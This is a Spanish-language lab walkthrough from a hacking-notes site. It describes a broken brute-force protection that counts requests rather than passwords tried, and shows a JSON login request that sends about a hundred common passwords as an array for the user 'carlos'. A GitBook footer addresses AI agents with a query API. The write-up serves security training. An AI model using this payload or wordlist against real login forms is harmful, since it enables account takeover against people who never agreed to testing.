> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md).
# Protección antifuerza bruta rota con múltiples credenciales por solicitud
### Protección contra fuerza bruta rota, múltiples credenciales por solicitud
Este laboratorio presenta un fallo lógico en el mecanismo de protección contra ataques de fuerza bruta. / El objetivo es **encontrar la contraseña del usuario carlos** y acceder a su página **Mi cuenta**.
* **Usuario objetivo**: `carlos`
* **Lista de contraseñas candidatas**: proporcionada por el laboratorio
* **Punto de entrada**: formulario de inicio de sesión
**Observación del comportamiento**
Al analizar el formulario de inicio de sesión, la solicitud enviada al servidor está en **JSON** formato, con los siguientes campos:
```json
{
"username":"carlos",
"password":"password"
}
```
La protección antibrutefuerza parece basarse en el número de \*\* solicitudes HTTP\*\* enviadas, no en el número de \*\* contraseñas realmente probadas\*\*.
**Explotación del fallo lógico**
En lugar de enviar una consulta de contraseña, es posible transmitir **varias contraseñas en una sola consulta**, utilizando un array JSON para el `contraseña` campo.
{% code overflow="wrap" %}
```json
{
"username": "carlos",
"password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
```
{% endcode %}
El servidor \*\* acepta la solicitud\*\* y prueba todas las contraseñas contenidas en el array, **sin activar ningún mecanismo de bloqueo**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.